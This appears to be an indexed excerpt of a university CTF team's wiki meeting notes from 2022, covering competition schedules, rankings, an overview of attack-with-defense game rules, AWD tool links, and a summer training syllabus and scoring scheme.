"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-05-13/#note","title":"Note","text":"All the competition materials have been submitted.
Online submission:
https://datacon.qianxin.com/competitions/25/introduction
Choose one of the 2 competitions and submit online team information.
https://pan.baidu.com/s/1S4aVRq92IPc8QkCHK3o-sg?pwd=b5jb
Some materials about the knowledge challenges.
I have questioned the knowledge challenges and the CTF part. According to the response from the sponsor, those 2 events would be held at the same time.
The score is 30% knowledge + 70% CTF
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-05-19/#some-notes","title":"Some notes","text":"\u3010\u95ee\u98981\u30115.22\u672c\u6821\u53c2\u52a0ctf\u6bd4\u8d5b\u7684\u5b66\u751f\u5f53\u5929\u8981\u53c2\u52a0\u5b66\u6821\u7ec4\u7ec7\u7684\u62cd\u6bd5\u4e1a\u7167\u6d3b\u52a8\uff0c\u65f6\u95f4\u4e0a\u51b2\u7a81\u4e86
\u7b54\uff1a\u7531\u4e8e\u8fd9\u662f\u5168\u7701\u7edf\u4e00\u6bd4\u8d5b\u65f6\u95f4\uff0c\u8bf7\u8d35\u6821\u81ea\u884c\u534f\u8c03\u3002
\u3010\u95ee\u98982\u30115\u670828- 29\u53f7\u8981\u53c2\u4e0e\u5168\u56fd\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b\uff0c\u4e0e\u7701\u8d5b\u51b3\u8d5b\u51b2\u7a81
\u7b54\uff1a\u7ec4\u59d4\u4f1a\u5df2\u548c\u56e2\u7701\u59d4\u6c9f\u901a\uff0c\u51b3\u8d5b\u5c06\u5ef6\u671f\u4e3e\u884c\uff0c\u8bf7\u5404\u9ad8\u6821\u7559\u610f\u540e\u7eed\u901a\u77e5\u3002
\u3010\u95ee\u98983\u3011\u7b2c\u4e00\u9636\u6bb5\u77e5\u8bc6\u7ade\u8d5b\u662f\u6bcf\u4e2a\u961f\u56fa\u5b9a\u9898\u6570\u8fd8\u662f\u6bcf\u4e2a\u961f\u5728\u56fa\u5b9a\u65f6\u95f4\u5185\u7b54\u9898\uff0c\u7b54\u9898\u6570\u76ee\u4e0d\u505a\u9650\u5236\uff1f
\u7b54\uff1a\u5b89\u5168\u57fa\u7840\u9898\u548cCTF\u540c\u65f6\u5f00\u542f\uff0c10:30\u5b89\u5168\u57fa\u7840\u9898\u7b54\u9898\u5173\u95ed\uff0c17\uff1a30\u5173\u95edCTF\u7b54\u9898\uff0c\u521d\u8d5b\u7ed3\u675f\uff0c\u521d\u8d5b\u5171\u8ba18\u5c0f\u65f6\uff0c\u5206\u503c\u6309\u5b89\u5168\u57fa\u7840\u5206\u503c30%+70%CTF\u593a\u65d7\uff0c\u6309\u7167\u6210\u7ee9\u9ad8\u4f4e\u53d6\u524d30\u540d\u961f\u4f0d\u8fdb\u5165\u7701\u7ea7\u603b\u51b3\u8d5b\uff0c\u6bcf\u4e2a\u9ad8\u6821\u664b\u7ea7\u961f\u4f0d\u4e0d\u8d85\u8fc72\u4e2a\u3002
\uff08\u5b89\u5168\u57fa\u7840\u9898\u548cCTF\u540c\u65f6\u5f00\u542f\u7684\u76ee\u7684\u662f\u4e3a\u4e86\u90e8\u5206\u80fd\u529b\u5f3a\u7684\u5b66\u751f\u6bd4\u5982\u53ea\u82b130\u5206\u949f\u7b54\u5b8c\u7406\u8bba\uff0c\u591a\u4f59\u7684\u65f6\u95f4\u5c31\u53ef\u4ee5\u89e3ctf\uff09
\u3010\u95ee\u98984\u3011\u5982\u679c\u662f\u7b2c\u4e00\u79cd\u89c4\u5219\uff0c\u53c8\u662f\u56fa\u5b9a\u9898\u6570\u76f4\u63a5\u7cfb\u7edf\u5206\u914d\u5230\u6bcf\u4e2a\u961f\u5458\uff0c\u8fd8\u662f\u8bf4\u76f4\u63a5\u5168\u90e8\u9898\u76ee\u7ed9\u5230\u6574\u961f\uff0c\u961f\u5185\u81ea\u884c\u5206\u914d?
\u7b54\uff1a\u5168\u90e8\u9898\u76ee\u7ed9\u5230\u6574\u961f\uff0c\u6bcf\u4e2a\u961f\u5458\u53ef\u67e5\u770b\uff0c\u53ea\u6709\u961f\u957f\u6709\u6743\u9650\u7b54\u9898\u3002
\u3010\u95ee\u98985\u3011\u77e5\u8bc6\u7ade\u8d5b\u662f\u5f00\u5377\u7684\u8fd8\u662f\u4e0d\u4f1a\u53ef\u4ee5\u4e0a\u7f51\u67e5\u7684
\u7b54\uff1a\u77e5\u8bc6\u7ade\u8d5b\u662f\u5f00\u5377\uff0c\u53ea\u67091\u4e2a\u5c0f\u65f6\u7b54\u9898\u65f6\u95f4\u3002
\u3010\u95ee\u98986\u3011\u5404\u9ad8\u6821\u56e2\u59d4\u662f\u5426\u9700\u8981\u63d0\u4f9b\u573a\u5730\u7ed9\u4e88\u5b66\u751f\u521d\u8d5b\uff08\u8003\u8651\u5230\u7ebf\u4e0a\u65e0\u6444\u50cf\u5934 \u6015\u6307\u5bfc\u8001\u5e08\u5e2e\u5fd9\u505a\u7684\u60c5\u51b5\uff09
\u7b54\uff1a\u662f\u5426\u63d0\u4f9b\u573a\u5730\u7531\u5404\u9ad8\u6821\u56e2\u59d4\u81ea\u884c\u51b3\u5b9a\uff0c\u7ebf\u4e0a\u521d\u8d5b\u65e0\u6cd5\u5bf9\u53c2\u8d5b\u961f\u4f0d\u505a\u9898\u8fc7\u7a0b\u8fdb\u884c\u7edd\u5bf9\u7684\u76d1\u63a7\uff0c\u4f46\u662f\u5e73\u53f0\u4f1a\u6709\u53cd\u4f5c\u5f0a\u673a\u5236\uff0c\u4f5c\u5f0a\u7684\u961f\u4f0d\u5c06\u53d6\u6d88\u6210\u7ee9\uff0c\u5e76\u4e14\u6bcf\u4e2a\u5b66\u6821\u6700\u591a\u53ea\u80fd\u67092\u4e2a\u961f\u4f0d\u8fdb\u5165\u51b3\u8d5b\u3002
\u3010\u95ee\u98987\u3011\u5404\u9ad8\u6821\u9700\u8981\u63d0\u4f9b\u4ec0\u4e48\u4e1c\u897f\u7ed9\u5230\u5b66\u751f\u6bd4\u8d5b
\u7b54\uff1a\u7406\u8bba\u4e0a\u4e0d\u9700\u8981\u63d0\u4f9b\uff0c\u5b66\u751f\u53c2\u52a0\u6bd4\u8d5b\u5373\u53ef
\u3010\u95ee\u98988\u3011\u5e73\u53f0\u62a5\u540d\u65e0\u6cd5\u4f7f\u7528\u7279\u6b8a\u5b57\u7b26\uff0c\u9700\u8981\u66f4\u6539\u62a5\u540d\u961f\u4f0d\u540d\u5b57\uff0c\u8fd9\u4e0e\u4e4b\u524d\u662f\u5426\u63d0\u4ea4\u7684Excel\u8868\u51b2\u7a81\u3002
\u7b54\uff1a\u4e0d\u51b2\u7a81\uff1b\u540e\u7eed\u7684\u76f8\u5173\u4fe1\u606f\u5747\u4ee5\u7ebf\u4e0a\u62a5\u540d\u5e73\u53f0\u4e3a\u51c6\u3002
\u3010\u95ee\u98989\u3011\u767b\u5f55\u6ce8\u518c\u5e73\u53f0\u51fa\u73b0404\u753b\u9762\u6216\u6301\u7eed\u8f6c\u5708
\u7b54\uff1a\u9700\u7528\u7535\u8111\u7aef\u767b\u5f55\uff0c\u5982\u679c\u51fa\u73b0\u6d4f\u89c8\u5668\u52a0\u8f7d\u6162\u7684\u60c5\u51b5\uff0c\u5efa\u8bae\u4f7f\u7528Chrome\u6d4f\u89c8\u5668\u8fdb\u884c\u8bbf\u95ee\u3002\u9996\u6b21\u4f7f\u7528\u6211\u4eec\u7684datacon\u5e73\u53f0\uff0c\u8bf7\u5148\u6ce8\u518c--->\u767b\u5f55--->\u8fdb\u5165\u8d5b\u4e8b\u7ec4\u961f\u62a5\u540d--->\u9080\u8bf7\u961f\u53cb--->\u62a5\u540d\u5b8c\u6210\uff0c\u7b49\u5f85\u5f00\u8d5b\u3002
\u3010\u95ee\u989810\u3011\u5e73\u53f0\u662f\u5426\u9700\u8981\u961f\u957f\u548c\u961f\u5458\u540c\u65f6\u62a5\u540d\uff1f
\u7b54\uff1a\u961f\u53cb\u53ea\u9700\u8981\u6ce8\u518c\u8d26\u53f7\u5c31\u884c\uff0c\u961f\u957f\u7ec4\u961f\u540e\u9080\u8bf7\u961f\u53cb\u3002
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-05-19/#upcoming-challenges","title":"Upcoming challenges","text":""},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-05-19/#202219-iscc-skip","title":"2022\u5e74\u7b2c19\u5c4a\u4fe1\u606f\u5b89\u5168\u4e0e\u5bf9\u6297\u6280\u672f\u7ade\u8d5b ISCC (skip)","text":"https://iscc.isclab.org.cn/
\u4e2a\u4eba\u6311\u6218\u8d5b till May, 25th
\u5206\u7ec4\u5bf9\u6297\u8d5b \u4e03\u6708\u4e2d\u65ec
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-05-19/#_1","title":"\u7b2c\u5341\u4e94\u5c4a\u5168\u56fd\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b\u521b\u65b0\u5b9e\u8df5\u80fd\u529b\u8d5b","text":"http://www.ciscn.cn/competition/securityCompetition?compet_id=36
\u62a5\u540d\u622a\u6b62\u81f35\u670820\u65e5\uff0c\u521d\u8d5b\u65f6\u95f4\u4e3a5\u670828\u65e5
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-05-19/#_2","title":"\u7b2c\u516d\u5c4a\u201c\u84dd\u5e3d\u676f\u201d\u5168\u56fd\u5927\u5b66\u751f\u7f51\u7edc\u5b89\u5168\u6280\u80fd\u5927\u8d5b","text":"https://www.qianxin.com/bluehatcup/2022
\u7ebf\u4e0a\u8d5b\u62a5\u540d\uff1a2022-05-06 09:00:00 - 2022-05-23 18:00:00
\u7ebf\u4e0a\u8d5b\u65f6\u95f4\uff1a2022-05-25 09:00:00 - 2022-05-25 17:00:00
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-05-19/#hack-a-sat-3-qualifiers-skip","title":"Hack-A-Sat 3 Qualifiers (skip)","text":"https://www.hackasat.com/
\u661f\u671f\u516d, 21 \u4e94\u6708 2022, 22:00 CST \u2014 \u661f\u671f\u4e00, 23 \u4e94\u6708 2022, 04:00 CST
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-05-19/#def-con-ctf-qualifier-2022","title":"DEF CON CTF Qualifier 2022","text":"https://quals.2022.nautilus.institute/
\u661f\u671f\u516d, 28 \u4e94\u6708 2022, 08:00 CST \u2014 \u661f\u671f\u4e00, 30 \u4e94\u6708 2022, 08:00 CST
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-05-19/#2022dasctf-may-skip","title":"2022DASCTF MAY \u51fa\u9898\u4eba\u6311\u6218\u8d5b (skip)","text":"https://buuoj.cn/plugins/ctfd-matches/matches/107
2022\u5e745\u670821\u65e510:00-18:00
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-05-19/#note","title":"Note","text":"2 top 50 teams:
Team name Rank Writeups HED 9 Submitted MFGI 37 SubmittedRemoved repetitive teams from the top 36 (3 or more teams of the same university), MFGI's rank is 28.
I'm waiting for the notifications of the final round. However, the organizers are still counting the results (till 15:00 Thursday).
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-05-26/#summer-schedule","title":"Summer Schedule","text":"During the summer of 2022, we are going to open another training and recruiting plan.
The summer schedule would be divided into 2 parts: basic rank and advanced rank. The previous one's goal is to teach some necessary knowledge for the interests and would be easier. The last one's goal is to train for the COMPASS team which would be harder.
Basic Advanced Estimated time per week 6 hours 15 hours Knowledge level for interests for competitions Lectures Yes Yes Weekly challenges Optional Yes Leader for training Group discussion Assigned team members Qualification exam free to participate free to participate, +5 pointsThe training schedule would last for 2 months, and then we would have a qualification exam. Around the top 20% of members are admitted to the team.
The detailed schedule and the document would be published on a single page (Before the summer vacation).
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-05-26/#upcoming-events","title":"Upcoming Events","text":"The page has been updated in 2022 Spring.
DEF CON 30
https://quals.2022.nautilus.institute/dashboard
I have already submitted a team C0MP4SS
.
Qualifications begin 2022\u5e745\u670828\u65e5 GMT+8 8:00:00 1653696000
Qualifications end 2022\u5e745\u670830\u65e5 GMT+8 8:00:00 1653868800
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-05-26/#note","title":"Note","text":"The competition score of HED is 9th place in the CTF and 80% in the knowledge challenge.
HED: 8th rank and qualified for the final round.
If you are very close to the final, don't be upset. Try harder and your studies would be paid back.
Team Score to final MFGI 0.38 W3r3wo1fki11 10.14 \u732b\u732b\u5212\u6c34\u961f 11.22You are very talented. 10 points can be a 400 points challenge, keeping learning and you can win very soon.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-03/#awd","title":"AWD","text":"AWD, attack with defense.
https://youtu.be/RkaLyji9pNs
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-03/#the-gameserver","title":"The Gameserver","text":"It is provided by the organizers and runs throughout the competition, starting when the network is opened. It periodically stores flags on your Vulnbox using the functionality in the provided services. It then later retrieves these flags, again using existing functionality. The Gameserver does not run exploits! It simply uses the service as intended.
Now, why can't the other teams then simply do what the Gameserver does?
The Gameserver has more information. Every service is either designed to allow the Gameserver to store a specific token for each flag or generates one and returns it to the Gameserver.
The Gameserver uses this token to check periodically that the flag is still there. Whether or not it gets the stored flag using that token, determines your SLA (Service Level Agreement). You mustn't remove or break any legitimate functionality.
Some services can have a vulnerability that directly leaks the flag, which will let you retrieve the flag easily. For others, it will require more effort.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-03/#your-vulnbox","title":"Your Vulnbox","text":"The Vulnbox is your running instance of the virtual machine image given to you by the organizers. It contains and runs all the services of the competition and should be reachable at all times. The Gameserver stores its flags here and uses the communication with this machine to decide if your services are working as intended or not. This machine is accessible to everyone on the network, and is the target for all the exploits from other teams.
Protecting the flags on this machine is what determines your defense points!
You normally have one hour from getting the decryption password of your Vulnbox until the network between teams is opened and everyone can attack each other. Use this time to get the VM running, then start analyzing what's running on it. It has happened that services with vulnerabilities that are easy to find have been exploited as soon as the actual competition starts.
For learning how to host the Vulnbox, have a look at Basic Vulnbox Hosting.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-03/#the-other-teams","title":"The other teams","text":"All the other registered teams are connected to the same VPN as you. Their Vulnboxes have known IP addresses, all other machines are off-limits! The other teams will run exploits from their own machines, but the VPN infrastructure will use NAT to obfuscate whether a packet came from the Gameserver or another team.
Successfully stealing and submitting flags from the Vulnbox of other teams determines your attack score!
If you have played jeopardy CTFs before, you already know flag submission. In this game, however, you'll have to run your exploits periodically, as new flags get stored by the Gameserver every few minutes. So you probably want to script exploits and submit Flags automatically and you don't spend all your time manually exploiting everyone.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-03/#training-and-toolkit-about-awd","title":"Training and toolkit about AWD","text":"We can hold an AWD training and competition this weekend, if you are interested to.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-03/#note","title":"Note","text":"Our members are going to have the final exams.
The training schedule for this weekend is skipped.
Hope you have a good grade in your exams!
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-09/#awd-tool-list","title":"AWD tool list","text":"AoiAWD: https://wiki.compass.college/Tool/AWD/AoiAWD/
Auto-AWD: https://wiki.compass.college/Tool/AWD/Auto-AWD/
AWD_auto_attack: https://wiki.compass.college/Tool/AWD/AWD_auto_attack/
awd-submit-flag: https://wiki.compass.college/Tool/AWD/awd-submit-flag/
awd-watchbird: https://wiki.compass.college/Tool/AWD/awd-watchbird/
flower: https://wiki.compass.college/Tool/AWD/flower/
ShellCat: https://wiki.compass.college/Tool/AWD/ShellCat/
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-09/#summer-schedule","title":"Summer schedule","text":""},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-09/#tldr","title":"tl,dr;","text":"The time schedule would according to the weekly training topics. Every week, we would have a topic to focus on. During the training time, our timeline is set to the following table.
Time Topic Introduction Material June, 19th CTF Overview & Fun-oriented challenges. Learn about what's CTF and how we win a CTF. The attendance of competitions and how to group a team. Introduction to CTF.pdf June, 26th Linux, Programming, and Toolkit Introduce how to operate a Linux system using CLI, and install your environment. Learn how to program with Python. Install the toolkit. Linux, Programming, and Toolkit July, 3rd Web Challenges and Databases Ability to learn computer networks and hack websites. Know HTTP & HTTPS in protocol, and tools to capture / modify packets. Web Challenges and Databases.pdf July, 10th Forensics & Steganography Analyze the file format and hidden information. Packet or network traffic analysis as well. Several skills to check images. Forensics_Steganography.pdf July, 17th Modern Cryptography and Mathematics Asymmetric cryptography like RSA, ECC. A mathematic definition of security and attacks on modern cryptography. Cryptography.pptx July, 24th Assembly Language Learn about some CISC knowledge. Use x86_64 as example to do assembly. Some reverse engineering skills are involved. Reverse.pdf July, 31th Operating Systems Guide to the OS course, learning about modern operating systems from Windows, Linux, to Android. About hardware, process architecture, how OS schedule procedure. Operating Systems.pptx August, 7th Binary Exploitations PWN challenges. Buffer overflows, shellcodes, ROP, and some pwn challenges. Binary Exploitation.pdf August, 13th Report and Summary Before the final exam, we would have a report week to share your learning and conclusion on the CTF. TBA August, 14th Exam Brand new challenges to solve this year, and winners would be qualified to the team. TBA"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-09/#exam-and-the-score","title":"Exam and the score","text":"The training schedule isn't a course or something you need to rat race to get an A-level score. But, I think taking some grades can be feedback on your learning.
How to join the compass team? Sometimes, joining the CTF competitions can be done by oneself, but usually, we need teamwork to get a better grade in the competitions. You don't want your teammate to be a newbie, right? The exam and the score are used to make sure that every member is great.
Thus, if you find anything that is non-reasonable in our score system, please write an email to me. I would appreciate having your advice.
The scoring system won't have a cap, you can get as many points if you want. However, I don't like the rat race. So, every category would have a percentage in the result.
The final score formula is: score = weight * sum(percent * log(2, score))
The categories involves,
The weight would be according to your grade. A freshman in the university is less experienced compared with the senior students, but from future learning, a freshman can have more time to improve. The weight is in order to balance the grades.
This is summer training, and we won't have any senior members (they are already graduated).
For example, if you got 3127 in the challenges and competitions, 155 in the remarks, 229 in the report, and 1625 in the final exam. You are a freshman in the university and just finished your first year. The total score would be: 1.06 * (0.3 * 11.610563503925041 + 0.1 * 7.2761244052742375 + 0.15 * 7.839203788096944 + 1 * 10.66622400280318) = 17.016059226486018
.
https://www.qiangguobei.org.cn/
https://www.qiangguobei.org.cn/index/match/detail/id/12.html
Register: starts from 2022-06-08
Online Jeopardy: 2022-07-06
Online region challenges: 2022-07-24 (TBA)
Offline final: 2022-08-31 (TBA)
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-09/#_2","title":"\u7f51\u9f0e\u676f","text":"https://www.wangdingcup.com/
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-09/#_3","title":"\u5b98\u65b9\u8d44\u683c\u8d5b\u7ebf\u4e0a\u62a5\u540d","text":"6\u67082\u65e510:00-7\u670827\u65e520:00
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-09/#_4","title":"\u5b98\u65b9\u8d44\u683c\u8d5b\uff08\u9752\u9f99\u7ec4\uff09","text":"\u53c2\u8d5b\u884c\u4e1a\uff1a\u9ad8\u7b49\u9662\u6821\uff0c\u804c\u4e1a\u9662\u6821\uff0c\u65e0\u5355\u4f4d\u6302\u9760\u7684\u793e\u4f1a\u53c2\u8d5b\u961f\u4f0d
8\u67084\u65e59:00-17:00
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-09/#_5","title":"\u5b98\u65b9\u8d44\u683c\u8d5b\uff08\u7384\u6b66\u7ec4\uff09","text":"\u53c2\u8d5b\u884c\u4e1a\uff1a\u79d1\u7814\u673a\u6784\u3001\u79d1\u6280\u4f01\u4e1a\u3001\u4e92\u8054\u7f51\u4f01\u4e1a\u3001\u7f51\u5b89\u4f01\u4e1a
8\u67089\u65e59:00-17:00
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-09/#_6","title":"\u534a\u51b3\u8d5b","text":"8\u670828\u65e5
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-09/#_7","title":"\u603b\u51b3\u8d5b","text":"8\u670829\u65e5
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-09/#note","title":"Note","text":"Just got HSCTF9 #79, and the CTFtime team rank goes to the #28 in China.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-16/#participated-in-ctf-events","title":"Participated in CTF events","text":"Overall rating place: 473 with 41.261 pts in 2022
Country place: 28
Place Event CTF points Rating points 79 HSCTF 9 3351.0000 9.690 104 1337UP LIVE CTF 1629.0000 3.547 31 Engineer CTF 5229.0000 12.184 27 Codegate CTF 2022 Preliminary 1802.0000 5.842 194 DefCamp CTF 21-22 Online 100.0000 1.061 159 Real World CTF 4th 32.0000 0.748 140 KnightCTF 2022 2425.0000 8.190"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-16/#introduction-to-this-weekend","title":"Introduction to this weekend","text":"We are going to have our first summer training!
Training time: June, 19th from 9:00 am to 18:00 pm
Location: 551 Meeting Room, Southern Tower of the Engineering Department & Online
Topic: CTF Overview & Fun-oriented challenges.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-16/#what-we-are-going-to-do","title":"What we are going to do","text":"This week, we would register all members who want to participate in our summer schedule. I'm going to share something interesting about the CTFs and InfoSec. It's also a great time to meet some team members.
In the morning:
Discuss the schedule plans. Choose your learning goal and find the appropriate level. We would talk about some fun parts in the InfoSec also.
In the afternoon:
Learn about the different types of the CTF, and which kind of events you are interested in. Let's work on some teamwork and solve the challenges. Hope you enjoy the travel to InfoSec.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-16/#what-you-should-take","title":"What you should take","text":"An earphone. We are going to listen to some audio.
Your teammate, classmate, and whoever you want to work with.
\u661f\u671f\u516d, 18 \u516d\u6708 2022, 10:00 CST \u2014 \u661f\u671f\u65e5, 19 \u516d\u6708 2022, 10:00 CST
https://standcon.n0h4ts.com/
STANDCON is an annual flagship Cybersecurity Conference and Capture the Flag Competition.
organized by N0H4TS, Division Zero. This year, STANDCON will be held from 17 - 19 June 2022.
virtually in Singapore, via Gather Town and Discord.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-16/#typhooncon-ctf-2022","title":"TyphoonCon CTF 2022","text":"\u661f\u671f\u4e00, 20 \u516d\u6708 2022, 17:00 CST \u2014 \u661f\u671f\u4e94, 24 \u516d\u6708 2022, 17:00 CST
https://typhooncon.ctfd.io/
TyphoonCon conference and workshop was founded in 2018 by SSD Secure Disclosure. As part of TyphoonCon, we will be hosting an on site and online CTF with specially crafted challenges alongside fantastic prizes.
The event will be running from Monday, June 20th to Friday, June 24th, 2022, at 12 PM KST.
Registration is now open at https://typhooncon.ctfd.io/.
20-24 June 2022, Seoul, South Korea.
All Offensive Security Conference.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-16/#bsidestlv-2022-ctf","title":"BSidesTLV 2022 CTF","text":"\u661f\u671f\u4e00, 27 \u516d\u6708 2022, 14:00 CST \u2014 \u661f\u671f\u4e09, 29 \u516d\u6708 2022, 14:00 CST
https://bsidestlv.com/ctf/2022/
BSidesTLV is one of Israel's leading cyber conferences for hackers and security researchers - also hosting the annual Capture The Flag (CTF) competition!
Thank you for your interest in attending BSidesTLV 2022!
Due to overwhelming demand, we are temporarily pausing new registrations for our IN-PERSON conference on June 30 taking place during Tel Aviv University\u2019s Cyber Week.
We will announce updates on our mailing list and social media when registration resumes, stay tuned!
If you plan to join us virtually, you do not need a ticket to watch the live stream or Join our Slack!
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-16/#note","title":"Note","text":"The progress isn't good...
We have 2 new members for this summer.
I'm working on the advertisement for all students.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-23/#upcoming-events","title":"Upcoming events","text":""},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-06-23/#azure-assassin-alliance-ctf-2022","title":"Azure Assassin Alliance CTF 2022","text":"2022-06-25 09:00:00\u2014\u20142022-06-27 09:00:00
https://adworld.xctf.org.cn/competition/
\u672c\u5c4aACTF 2022\u662f\u7531XCTF\u8054\u8d5b\u7684\u5408\u4f5c\u5355\u4f4dAAA\u6218\u961f (Azure Assassin Alliance\uff09\u7ec4\u7ec7\uff0c\u7531\u8d5b\u5b81\u7f51\u5b89\u63d0\u4f9b\u6280\u672f\u652f\u6301\u3002\u4f5c\u4e3a\u7b2c\u4e03\u5c4aXCTF\u56fd\u9645\u8054\u8d5b\u7684\u5206\u7ad9\u8d5b\uff0c\u672c\u6b21\u6bd4\u8d5b\u5c06\u91c7\u7528\u5728\u7ebf\u7f51\u7edc\u5b89\u5168\u593a\u65d7\u6311\u6218\u8d5b\u7684\u5f62\u5f0f\uff0c\u9762\u5411\u5168\u7403\u5f00\u653e\u3002
\u6b64\u6b21\u6bd4\u8d5b\u51a0\u519b\u961f\u4f0d\u5c06\u76f4\u63a5\u664b\u7ea7\u7b2c\u4e03\u5c4aXCTF\u603b\u51b3\u8d5b\uff08\u603b\u51b3\u8d5b\u5177\u4f53\u5730\u70b9\u65f6\u95f4\u5f85\u5b9a\uff0c\u5c06\u5728\u786e\u5b9a\u540e\u901a\u77e5\u83b7\u5f97\u8d44\u683c\u7684\u56fd\u9645\u548c\u56fd\u5185\u961f\u4f0d\uff09\u3002\u5176\u4ed6\u53c2\u8d5b\u7684\u961f\u4f0d\u4e5f\u5c06\u83b7\u5f97\u79ef\u5206\uff0c\u6765\u7ade\u4e89XCTF\u603b\u51b3\u8d5b\u7684\u5176\u4ed6\u5e2d\u4f4d\u3002
Summer schedule have already finished the first two weeks. From the last week, we have 53 registered members.
The offline training has 19 members in the morning, and 22 members in the afternoon.
Every week I have selected several challenges for learning. If you are interested, finish those challenges from https://compass.ctfd.io/
For this week, I'm designing new materials for the advanced network and web exploiting. Some new challenges would be used.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-07-07/#ctfd-whale","title":"CTFd-whale","text":"http://detroit.sustech.edu.cn now has a functional CTFd-whale environment. I'm working on the following works:
The new type of challenge platform would be online in a week.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-07-07/#competition-notification","title":"Competition Notification","text":"\u5f3a\u56fd\u676f
https://www.qiangguobei.org.cn/
The register due on July, 15th.
If you want to join this event, please contact me.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-07-07/#note","title":"Note","text":"Summer schedule have already finished the first two weeks. From the last week, we have 53 registered members.
Date Morning Afternoon Week 2 19 22 Week 3 14 21In the past few weeks we have some interesting sharing materials. Including things I haven't mentioned in the tutorial.
In this weekend, we would look forward to the sharing from:
Hope everyone enjoys summer schedule.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-07-14/#ctfd-whale","title":"CTFd-whale","text":"http://detroit.sustech.edu.cn is now applying for the public Internet access. The ports are 80/443, 28000-30000.
https://hub.docker.com/search?q=compassctf contains the docker image for CTFd-whale containers. I'm still working on the image construction. The old https://compass.ctfd.io/ would be configured to the new location after the setup.
Containers I have done:
Containers under construction:
Meanwhile, I'm going to write a quick start for CTFd-whale docker image construction, and we can make some new nice challenges.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-07-14/#competition-notification","title":"Competition Notification","text":""},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-07-14/#_1","title":"\u7f51\u9f0e\u676f","text":"The ITS has called me to sign up this competition, and we would like to attend this event.
https://www.wangdingcup.com/
Register due to July, 27th. Please send me those information:
The information can be sent through WeChat directly, otherwise by using my PGP public key to encrypt.
